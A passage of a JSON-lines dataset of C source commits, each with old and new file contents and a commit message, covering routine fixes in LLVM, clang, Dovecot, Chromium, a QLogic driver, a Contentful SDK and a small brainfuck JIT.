parser\n","lang":"C","license":"lgpl-2.1","repos":"pstglia\/external-bluetooth-bluez,ComputeCycles\/bluez,silent-snowman\/bluez,pkarasev3\/bluez,pkarasev3\/bluez,mapfau\/bluez,ComputeCycles\/bluez,mapfau\/bluez,mapfau\/bluez,silent-snowman\/bluez,pstglia\/external-bluetooth-bluez,mapfau\/bluez,silent-snowman\/bluez,pstglia\/external-bluetooth-bluez,ComputeCycles\/bluez,pkarasev3\/bluez,pkarasev3\/bluez,pstglia\/external-bluetooth-bluez,ComputeCycles\/bluez,silent-snowman\/bluez"}
{"commit":"dd4a5df6e1e2b17a0f8963674bea6e94cc6c9b0e","old_file":"tools\/llvm-c-test\/metadata.c","new_file":"tools\/llvm-c-test\/metadata.c","old_contents":"\/*===-- object.c - tool for testing libLLVM and llvm-c API ----------------===*\\\n|*                                                                            *|\n|*                     The LLVM Compiler Infrastructure                       *|\n|*                                                                            *|\n|* This file is distributed under the University of Illinois Open Source      *|\n|* License. See LICENSE.TXT for details.                                      *|\n|*                                                                            *|\n|*===----------------------------------------------------------------------===*|\n|*                                                                            *|\n|* This file implements the --add-named-metadata-operand and --set-metadata   *|\n|* commands in llvm-c-test.                                                   *|\n|*                                                                            *|\n\\*===----------------------------------------------------------------------===*\/\n\n#include \"llvm-c-test.h\"\n#include \"llvm-c\/Core.h\"\n\nint add_named_metadata_operand(void) {\n  LLVMModuleRef m = LLVMModuleCreateWithName(\"Mod\");\n  LLVMValueRef values[] = { LLVMConstInt(LLVMInt32Type(), 0, 0) };\n\n  \/\/ This used to trigger an assertion\n  LLVMAddNamedMetadataOperand(m, \"name\", LLVMMDNode(values, 1));\n\n  return 0;\n}\n\nint set_metadata(void) {\n  LLVMBuilderRef b = LLVMCreateBuilder();\n  LLVMValueRef values[] = { LLVMConstInt(LLVMInt32Type(), 0, 0) };\n\n  \/\/ This used to trigger an assertion\n  LLVMSetMetadata(\n      LLVMBuildRetVoid(b),\n      LLVMGetMDKindID(\"kind\", 4),\n      LLVMMDNode(values, 1));\n\n  return 0;\n}\n","new_contents":"\/*===-- object.c - tool for testing libLLVM and llvm-c API ----------------===*\\\n|*                                                                            *|\n|*                     The LLVM Compiler Infrastructure                       *|\n|*                                                                            *|\n|* This file is distributed under the University of Illinois Open Source      *|\n|* License. See LICENSE.TXT for details.                                      *|\n|*                                                                            *|\n|*===----------------------------------------------------------------------===*|\n|*                                                                            *|\n|* This file implements the --add-named-metadata-operand and --set-metadata   *|\n|* commands in llvm-c-test.                                                   *|\n|*                                                                            *|\n\\*===----------------------------------------------------------------------===*\/\n\n#include \"llvm-c-test.h\"\n#include \"llvm-c\/Core.h\"\n\nint add_named_metadata_operand(void) {\n  LLVMModuleRef m = LLVMModuleCreateWithName(\"Mod\");\n  LLVMValueRef values[] = { LLVMConstInt(LLVMInt32Type(), 0, 0) };\n\n  \/\/ This used to trigger an assertion\n  LLVMAddNamedMetadataOperand(m, \"name\", LLVMMDNode(values, 1));\n\n  LLVMDisposeModule(m);\n\n  return 0;\n}\n\nint set_metadata(void) {\n  LLVMBuilderRef b = LLVMCreateBuilder();\n  LLVMValueRef values[] = { LLVMConstInt(LLVMInt32Type(), 0, 0) };\n\n  \/\/ This used to trigger an assertion\n  LLVMSetMetadata(\n      LLVMBuildRetVoid(b),\n      LLVMGetMDKindID(\"kind\", 4),\n      LLVMMDNode(values, 1));\n\n  LLVMDisposeBuilder(b);\n\n  return 0;\n}\n","subject":"Fix build breakage caused by memory leaks in llvm-c-test","message":"Fix build breakage caused by memory leaks in llvm-c-test\n\nI accidently introduced those in r227319.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@227339 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm"}
{"commit":"d8af9b16eff306c9720964e4fb89be81a7a31eec","old_file":"src\/base\/file_unit.h","new_file":"src\/base\/file_unit.h","old_contents":"#ifndef FILE_UNIT_H_\n#define FILE_UNIT_H_\n\n#include <string>\n\ntemplate <typename T>\nclass FileUnit\n{\npublic:\n    std::string filename;\n    T *file;\n\n    FileUnit(std::string& filename);\n\n    virtual ~FileUnit();\n};\n\n#endif\n","new_contents":"#ifndef FILE_UNIT_H_\n#define FILE_UNIT_H_\n\n#include <string>\n\ntemplate <typename T>\nclass FileUnit\n{\npublic:\n    FileUnit(std::string& filename);\n\n    virtual ~FileUnit();\n\nprivate:\n    std::string filename;\n    T *file;\n};\n\n#endif\n","subject":"Change privacy to private for the filename and generic representation","message":"Change privacy to private for the filename and generic representation\n","lang":"C","license":"mit","repos":"stefanmirea\/mangler,SilentControl\/mangler"}
{"commit":"b76b3ff068ccd610b54b750ca80779881ec2fd5a","old_file":"tests\/regression\/36-octapron\/36-special-unknown-globals.c","new_file":"tests\/regression\/36-octapron\/36-special-unknown-globals.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include <assert.h>\n\nextern void magic();\n\nint g;\nint h;\n\nvoid main() {\n  int r, x;\n\n  x = r;\n  g = r;\n  h = r + 1;\n\n  assert(g < h);\n  magic(); \/\/ invalidates (forgets) globals\n  assert(g < h); \/\/ UNKNOWN!\n  assert(x == r); \/\/ shouldn't forget locals\n}\n","subject":"Add octApron test for special globals invalidation","message":"Add octApron test for special globals invalidation\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"3f1086d456acca81f5ed6fed1a98d3af92a05bf0","old_file":"src\/imap\/cmd-close.c","new_file":"src\/imap\/cmd-close.c","old_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\telse if (mailbox_sync(mailbox, 0, 0, NULL) < 0)\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","subject":"Synchronize the mailbox after expunging messages to actually get them expunged.","message":"CLOSE: Synchronize the mailbox after expunging messages to actually get them\nexpunged.\n","lang":"C","license":"mit","repos":"Distrotech\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot"}
{"commit":"43c98041f7746f8d9445bdea873d86eca966b2b8","old_file":"include\/clang\/AST\/StmtCXX.h","new_file":"include\/clang\/AST\/StmtCXX.h","old_contents":"","new_contents":"\/\/===--- StmtCXX.h - Classes for representing C++ statements ----*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines the C++ statement AST node classes.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_AST_STMTCXX_H\n#define LLVM_CLANG_AST_STMTCXX_H\n\n#include \"clang\/AST\/Stmt.h\"\n\nnamespace clang {\n\n\/\/\/ CXXCatchStmt - This represents a C++ catch block.\n\/\/\/\nclass CXXCatchStmt : public Stmt {\n  SourceLocation CatchLoc;\n  \/\/\/ The exception-declaration of the type.\n  Decl *ExceptionDecl;\n  \/\/\/ The handler block.\n  Stmt *HandlerBlock;\n\npublic:\n  CXXCatchStmt(SourceLocation catchLoc, Decl *exDecl, Stmt *handlerBlock)\n  : Stmt(CXXCatchStmtClass), CatchLoc(catchLoc), ExceptionDecl(exDecl),\n    HandlerBlock(handlerBlock) {}\n\n  virtual void Destroy(ASTContext& Ctx);\n\n  virtual SourceRange getSourceRange() const {\n    return SourceRange(CatchLoc, HandlerBlock->getLocEnd());\n  }\n\n  Decl *getExceptionDecl() { return ExceptionDecl; }\n  QualType getCaughtType();\n  Stmt *getHandlerBlock() { return HandlerBlock; }\n\n  static bool classof(const Stmt *T) {\n    return T->getStmtClass() == CXXCatchStmtClass;\n  }\n  static bool classof(const CXXCatchStmt *) { return true; }\n\n  virtual child_iterator child_begin();\n  virtual child_iterator child_end();\n};\n\n\/\/\/ CXXTryStmt - A C++ try block, including all handlers.\n\/\/\/\nclass CXXTryStmt : public Stmt {\n  SourceLocation TryLoc;\n  \/\/ First place is the guarded CompoundStatement. Subsequent are the handlers.\n  \/\/ More than three handlers should be rare.\n  llvm::SmallVector<Stmt*, 4> Stmts;\n\npublic:\n  CXXTryStmt(SourceLocation tryLoc, Stmt *tryBlock,\n             Stmt **handlers, unsigned numHandlers);\n\n  virtual SourceRange getSourceRange() const {\n    return SourceRange(TryLoc, Stmts.back()->getLocEnd());\n  }\n\n  CompoundStmt *getTryBlock() { return llvm::cast<CompoundStmt>(Stmts[0]); }\n  const CompoundStmt *getTryBlock() const {\n    return llvm::cast<CompoundStmt>(Stmts[0]);\n  }\n\n  unsigned getNumHandlers() const { return Stmts.size() - 1; }\n  CXXCatchStmt *getHandler(unsigned i) {\n    return llvm::cast<CXXCatchStmt>(Stmts[i + 1]);\n  }\n  const CXXCatchStmt *getHandler(unsigned i) const {\n    return llvm::cast<CXXCatchStmt>(Stmts[i + 1]);\n  }\n\n  static bool classof(const Stmt *T) {\n    return T->getStmtClass() == CXXTryStmtClass;\n  }\n  static bool classof(const CXXTryStmt *) { return true; }\n\n  virtual child_iterator child_begin();\n  virtual child_iterator child_end();\n};\n\n\n}  \/\/ end namespace clang\n\n#endif\n","subject":"Split C++ statements out to their own file.","message":"Split C++ statements out to their own file.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@70107 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"156ca90ad0861b4ebe467b9ea67edc01b5d73d3d","old_file":"Code\/ContentfulDeliveryAPI.h","new_file":"Code\/ContentfulDeliveryAPI.h","old_contents":"\/\/\n\/\/  ContentfulDeliveryAPI.h\n\/\/  ContentfulSDK\n\/\/\n\/\/  Created by Boris Bügling on 04\/03\/14.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import <ContentfulDeliveryAPI\/CDAArray.h>\n#import <ContentfulDeliveryAPI\/CDAAsset.h>\n#import <ContentfulDeliveryAPI\/CDAClient.h>\n#import <ContentfulDeliveryAPI\/CDAConfiguration.h>\n#import <ContentfulDeliveryAPI\/CDAContentType.h>\n#import <ContentfulDeliveryAPI\/CDAEntry.h>\n#import <ContentfulDeliveryAPI\/CDAField.h>\n#import <ContentfulDeliveryAPI\/CDAPersistenceManager.h>\n#import <ContentfulDeliveryAPI\/CDARequest.h>\n#import <ContentfulDeliveryAPI\/CDAResponse.h>\n#import <ContentfulDeliveryAPI\/CDASpace.h>\n#import <ContentfulDeliveryAPI\/CDASyncedSpace.h>\n\n#if TARGET_OS_IPHONE\n#import <ContentfulDeliveryAPI\/CDAEntriesViewController.h>\n#import <ContentfulDeliveryAPI\/CDAFieldsViewController.h>\n#import <ContentfulDeliveryAPI\/CDAMapViewController.h>\n#import <ContentfulDeliveryAPI\/CDAResourceCell.h>\n#import <ContentfulDeliveryAPI\/CDAResourcesCollectionViewController.h>\n#import <ContentfulDeliveryAPI\/CDAResourcesViewController.h>\n#endif\n\nextern NSString* const CDAErrorDomain;\n","new_contents":"\/\/\n\/\/  ContentfulDeliveryAPI.h\n\/\/  ContentfulSDK\n\/\/\n\/\/  Created by Boris Bügling on 04\/03\/14.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import <ContentfulDeliveryAPI\/CDAArray.h>\n#import <ContentfulDeliveryAPI\/CDAAsset.h>\n#import <ContentfulDeliveryAPI\/CDAClient.h>\n#import <ContentfulDeliveryAPI\/CDAConfiguration.h>\n#import <ContentfulDeliveryAPI\/CDAContentType.h>\n#import <ContentfulDeliveryAPI\/CDAEntry.h>\n#import <ContentfulDeliveryAPI\/CDAField.h>\n#import <ContentfulDeliveryAPI\/CDAPersistenceManager.h>\n#import <ContentfulDeliveryAPI\/CDARequest.h>\n#import <ContentfulDeliveryAPI\/CDAResponse.h>\n#import <ContentfulDeliveryAPI\/CDASpace.h>\n#import <ContentfulDeliveryAPI\/CDASyncedSpace.h>\n\n#if TARGET_OS_IPHONE\n#import <ContentfulDeliveryAPI\/CDAEntriesViewController.h>\n#import <ContentfulDeliveryAPI\/CDAFieldsViewController.h>\n#import <ContentfulDeliveryAPI\/CDAMapViewController.h>\n#import <ContentfulDeliveryAPI\/CDAResourceCell.h>\n#import <ContentfulDeliveryAPI\/CDAResourcesCollectionViewController.h>\n#import <ContentfulDeliveryAPI\/CDAResourcesViewController.h>\n#import <ContentfulDeliveryAPI\/UIImageView+CDAAsset.h>\n#endif\n\nextern NSString* const CDAErrorDomain;\n","subject":"Include image view category in framework header.","message":"Include image view category in framework header.\n","lang":"C","license":"mit","repos":"contentful\/contentful.objc,akfreas\/contentful.objc,danieleggert\/contentful.objc,akfreas\/contentful.objc,davidmdavis\/contentful.objc,contentful\/contentful.objc,akfreas\/contentful.objc,danieleggert\/contentful.objc,davidmdavis\/contentful.objc,contentful\/contentful.objc,danieleggert\/contentful.objc,davidmdavis\/contentful.objc"}
{"commit":"1a6633da200909e9c71ba7a0c40eebe56746c3f5","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2006 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.01.00-k9\"\n\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2006 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k1\"\n","subject":"Update driver version to 5.02.00-k1","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k1\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: Ravi Anand <399b6871085291e2c1578e38a71f59e8d20fafc0@qlogic.com>\nReviewed-by: Mike Christie <6fe105eefab41990d7ec714c6c25ade3095cdb48@cs.wisc.edu>\nSigned-off-by: James Bottomley <407b36959ca09543ccda8f8e06721c791bc53435@suse.de>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"05b269d5b3f82a64efe9c8d7650803bc181af3a1","old_file":"src\/bf_alloc.c","new_file":"src\/bf_alloc.c","old_contents":"#include <bf_alloc.h>\n\n#include <sys\/mman.h>\n\nuint8_t *allocate_executable_space(size_t size) {\n    uint8_t *memory = (uint8_t*) mmap(\n            NULL,                       \/* No existing address. *\/\n            size,                       \/* At LEAST this size. *\/\n            PROT_EXEC|PROT_WRITE,       \/* Writable and executable memory. *\/\n            MAP_PRIVATE|MAP_ANONYMOUS,  \/* An anonymous mapping; using private\n                                           mapping is most portable. *\/\n            -1,                         \/* Using fd = -1 is most portable in\n                                           conjunction with MAP_ANONYMOUS. *\/\n            0                           \/* Irrelevant for MAP_ANONYMOUS. *\/\n    );\n\n    if (memory == MAP_FAILED) {\n        return NULL;\n    }\n\n    return memory;\n}\n\n\/* TODO: fairly certain this will lead to a memory leak if the mapping is\n * larger than the page size... *\/\n\nbool free_executable_space(uint8_t *space) {\n    if (munmap(space, 1) == 0) {\n        return true;\n    }\n    return false;\n}\n","new_contents":"#include <bf_alloc.h>\n\n\/* So that MAP_ANONYMOUS is available on glibc. *\/\n#define _BSD_SOURCE\n#include <sys\/mman.h>\n\nuint8_t *allocate_executable_space(size_t size) {\n    uint8_t *memory = (uint8_t*) mmap(\n            NULL,                       \/* No existing address. *\/\n            size,                       \/* At LEAST this size. *\/\n            PROT_EXEC|PROT_WRITE,       \/* Writable and executable memory. *\/\n            MAP_PRIVATE|MAP_ANONYMOUS,  \/* An anonymous mapping; using private\n                                           mapping is most portable. *\/\n            -1,                         \/* Using fd = -1 is most portable in\n                                           conjunction with MAP_ANONYMOUS. *\/\n            0                           \/* Irrelevant for MAP_ANONYMOUS. *\/\n    );\n\n    if (memory == MAP_FAILED) {\n        return NULL;\n    }\n\n    return memory;\n}\n\n\/* TODO: fairly certain this will lead to a memory leak if the mapping is\n * larger than the page size... *\/\n\nbool free_executable_space(uint8_t *space) {\n    if (munmap(space, 1) == 0) {\n        return true;\n    }\n    return false;\n}\n","subject":"Add feature-test macro for MAP_ANONYMOUS.","message":"Add feature-test macro for MAP_ANONYMOUS.\n","lang":"C","license":"mit","repos":"eddieantonio\/brainmuk,eddieantonio\/brainmuk"}
{"commit":"02013988cb1406f3b557bf05603cc726cc1a1889","old_file":"chrome\/gpu\/gpu_config.h","new_file":"chrome\/gpu\/gpu_config.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_GPU_GPU_CONFIG_H_\n#define CHROME_GPU_GPU_CONFIG_H_\n\n\/\/ This file declares common preprocessor configuration for the GPU process.\n\n#include \"build\/build_config.h\"\n\n#if defined(OS_LINUX) && !defined(ARCH_CPU_X86)\n\n\/\/ Only define GLX support for Intel CPUs for now until we can get the\n\/\/ proper dependencies and build setup for ARM.\n#define GPU_USE_GLX\n\n#endif\n\n#endif  \/\/ CHROME_GPU_GPU_CONFIG_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_GPU_GPU_CONFIG_H_\n#define CHROME_GPU_GPU_CONFIG_H_\n\n\/\/ This file declares common preprocessor configuration for the GPU process.\n\n#include \"build\/build_config.h\"\n\n#if defined(OS_LINUX) && defined(ARCH_CPU_X86)\n\n\/\/ Only define GLX support for Intel CPUs for now until we can get the\n\/\/ proper dependencies and build setup for ARM.\n#define GPU_USE_GLX\n\n#endif\n\n#endif  \/\/ CHROME_GPU_GPU_CONFIG_H_\n","subject":"Fix stupid error for Linux build.","message":"Fix stupid error for Linux build.\n\nTEST=none\nBUG=none\nReview URL: http:\/\/codereview.chromium.org\/555096\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@37093 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,timopulkkinen\/BubbleFish,dednal\/chromium.src,ltilve\/chromium,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,keishi\/chromium,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,anirudhSK\/chromium,markYoungH\/chromium.src,rogerwang\/chromium,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,robclark\/chromium,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,M4sse\/chromium.src,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,anirudhSK\/chromium,dednal\/chromium.src,Just-D\/chromium-1,M4sse\/chromium.src,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,hujiajie\/pa-chromium,patrickm\/chromium.src,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,fujunwei\/chromium-crosswalk,ltilve\/chromium,M4sse\/chromium.src,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,ChromiumWebApps\/chromium,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,rogerwang\/chromium,dushu1203\/chromium.src,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,keishi\/chromium,jaruba\/chromium.src,Chilledheart\/chromium,M4sse\/chromium.src,keishi\/chromium,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,Chilledheart\/chromium,zcbenz\/cefode-chromium,dednal\/chromium.src,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,dushu1203\/chromium.src,patrickm\/chromium.src,nacl-webkit\/chrome_deps,littlstar\/chromium.src,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk-efl,robclark\/chromium,hgl888\/chromium-crosswalk,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,littlstar\/chromium.src,hgl888\/chromium-crosswalk-efl,keishi\/chromium,hujiajie\/pa-chromium,rogerwang\/chromium,keishi\/chromium,markYoungH\/chromium.src,ondra-novak\/chromium.src,rogerwang\/chromium,pozdnyakov\/chromium-crosswalk,patrickm\/chromium.src,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,patrickm\/chromium.src,littlstar\/chromium.src,jaruba\/chromium.src,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,rogerwang\/chromium,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,Just-D\/chromium-1,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,patrickm\/chromium.src,Just-D\/chromium-1,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,anirudhSK\/chromium,ondra-novak\/chromium.src,zcbenz\/cefode-chromium,dushu1203\/chromium.src,timopulkkinen\/BubbleFish,keishi\/chromium,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,M4sse\/chromium.src,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,crosswalk-project\/chromium-crosswalk-efl,ltilve\/chromium,dednal\/chromium.src,anirudhSK\/chromium,ondra-novak\/chromium.src,mohamed--abdel-maksoud\/chromium.src,robclark\/chromium,Jonekee\/chromium.src,robclark\/chromium,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,dednal\/chromium.src,patrickm\/chromium.src,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk,anirudhSK\/chromium,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,chuan9\/chromium-crosswalk,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,ChromiumWebApps\/chromium,dednal\/chromium.src,Jonekee\/chromium.src,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,robclark\/chromium,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,robclark\/chromium,Jonekee\/chromium.src,robclark\/chromium,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,ChromiumWebApps\/chromium,rogerwang\/chromium,robclark\/chromium,markYoungH\/chromium.src,axinging\/chromium-crosswalk,markYoungH\/chromium.src,fujunwei\/chromium-crosswalk,rogerwang\/chromium,fujunwei\/chromium-crosswalk,nacl-webkit\/chrome_deps,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,ondra-novak\/chromium.src,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,markYoungH\/chromium.src,jaruba\/chromium.src,ondra-novak\/chromium.src,rogerwang\/chromium,fujunwei\/chromium-c